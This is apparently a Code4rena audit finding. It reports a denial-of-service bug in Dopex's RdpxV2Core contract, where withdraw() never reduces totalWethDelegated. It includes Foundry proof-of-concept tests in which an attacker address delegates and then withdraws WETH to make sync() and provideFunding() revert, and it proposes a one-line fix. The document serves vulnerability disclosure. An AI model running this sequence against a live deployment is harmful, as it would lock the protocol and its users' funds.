Dopex - MiniGlome's results

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L975-L990 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L1002

Vulnerability details

Impact

In the RdpxV2Core contract, the totalWethDelegated variable is used to keep track of the currently delegated WETH. This value is substracted from the availbable tokens in the sync() function so that we cannot spend the WETH currently delegated.

However, the value of totalWethDelegated is not updated when a delegate withdraws unused WETH in the withdraw() function. Hence, the value in the reserveAsset mapping corresponding to the WETH token will always be wrong and the protocol will forever be unable to sync the correct WETH value. This can lead to complete DOS of the protocol as the sync() function will tend to always revert as the totalWethDelegated value can only grow and will inevitably become larger than the actual WETH balance, causing an underflow in the sync() function. Even before that point this will cause underflows in other functions such as provideFunding() (see attached POC).

File: RdpxV2Core.sol

L995: function sync() external {
  for (uint256 i = 1; i < reserveAsset.length; i++) {
    uint256 balance = IERC20WithBurn(reserveAsset[i].tokenAddress).balanceOf(
      address(this)
    );

    if (weth == reserveAsset[i].tokenAddress) {
      //@audit `totalWethDelegated` is substracted from the availbable tokens
      //@audit this can cause underflow
      balance = balance - totalWethDelegated; 
    }
    reserveAsset[i].tokenBalance = balance;
  }

  emit LogSync();
}

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L995-L1008

File: RdpxV2Core.sol

L975: function withdraw(
  uint256 delegateId
) external returns (uint256 amountWithdrawn) {
  _whenNotPaused();
  _validate(delegateId < delegates.length, 14);
  Delegate storage delegate = delegates[delegateId];
  _validate(delegate.owner == msg.sender, 9);

  amountWithdrawn = delegate.amount - delegate.activeCollateral;
  _validate(amountWithdrawn > 0, 15);
  delegate.amount = delegate.activeCollateral;

  IERC20WithBurn(weth).safeTransfer(msg.sender, amountWithdrawn);
  //@audit no update of `totalWethDelegated`
  emit LogDelegateWithdraw(delegateId, amountWithdrawn);
}

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L975-L990

Proof of Concept

Here is a simple test you can add to tests/rdpxV2-core/Unit.t.sol to showcase how the call to withdraw() will make the sync() function revert because of underflow:

function test_BUG_withdrawThenSync() external {
  // Setup
  address attacker = address(42);
  weth.transfer(attacker, 10 * 1e18); // Attacker has 10 * 1e18 WETH

  // SCENARIO STARTS HERE
  // (1) Normal call to sync(), it works.
  rdpxV2Core.sync();

  vm.startPrank(attacker);
  // (2) Attacker adds WETH to delegate then withdraws it.
  weth.approve(address(rdpxV2Core), 10 * 1e18);
  uint256 delgateId = rdpxV2Core.addToDelegate(10 * 1e18, 30 * 1e8); // Random fee value  
  rdpxV2Core.withdraw(delgateId);
  vm.stopPrank();

  // (3) The call to sync() will fail due to underflow
  vm.expectRevert(stdError.arithmeticError);  // Note: add the following import to access `stdError`
  rdpxV2Core.sync();                          // import { Test, stdError } from "forge-std/Test.sol";
}

Here is an update of tests/rdpxV2-core/Integration.t.sol to showcase how the invalid sync will make the provideFunding() function revert.

File: tests/rdpxV2-core/Integration.t.sol

L100: [...]
+    address attacker = address(42);
+    weth.transfer(attacker, 8 * 1e18); // Attacker has 8 * 1e18 WETH
+  
+    // Attacker adds WETH to delegate then withdraws it.
+    vm.startPrank(attacker);
+    assertEq(weth.balanceOf(attacker), 8 * 1e18);
+    weth.approve(address(rdpxV2Core), 8 * 1e18);
+    uint256 delgateId = rdpxV2Core.addToDelegate(8 * 1e18, 30 * 1e8); // Random fee value  
+    rdpxV2Core.withdraw(delgateId);
+    assertEq(weth.balanceOf(attacker), 8 * 1e18); // Attacker still has the same balance
+    vm.stopPrank();
+
    // send funding to rdpxV2Core and call sync
    funding = vault.totalFundingForEpoch(vault.latestFundingPaymentPointer());
    weth.transfer(address(rdpxV2Core), funding);
    rdpxV2Core.sync();
+
+    uint256 realWethAmount = weth.balanceOf(address(rdpxV2Core));           // 13390281186781410258
+    (,uint256 reserveWethAmount,) = rdpxV2Core.getReserveTokenInfo('WETH'); //  1540839280331410257
+    assertGt(realWethAmount, reserveWethAmount); // Actual WETH balance is greater than registered WETH amount in reserve
+    assertGt(funding, reserveWethAmount);        // Registered WETH amount in reserve is so low that the previously transfered WETH is not even available
+
+    // This test will fail because of underflow in RdpxV2Core L803.
    rdpxV2Core.provideFunding();

Tools Used

Manual review + Foundry

Recommended Mitigation Steps

Update the totalWethDelegated value in withdraw()

File: RdpxV2Core.sol

function withdraw(
  uint256 delegateId
) external returns (uint256 amountWithdrawn) {
  _whenNotPaused();
  _validate(delegateId < delegates.length, 14);
  Delegate storage delegate = delegates[delegateId];
  _validate(delegate.owner == msg.sender, 9);

  amountWithdrawn = delegate.amount - delegate.activeCollateral;
  _validate(amountWithdrawn > 0, 15);
  delegate.amount = delegate.activeCollateral;

+  totalWethDelegated = totalWethDelegated - amountWithdrawn;

  IERC20WithBurn(weth).safeTransfer(msg.sender, amountWithdrawn);

  emit LogDelegateWithdraw(delegateId, amountWithdrawn);
}

Assessed type

DoS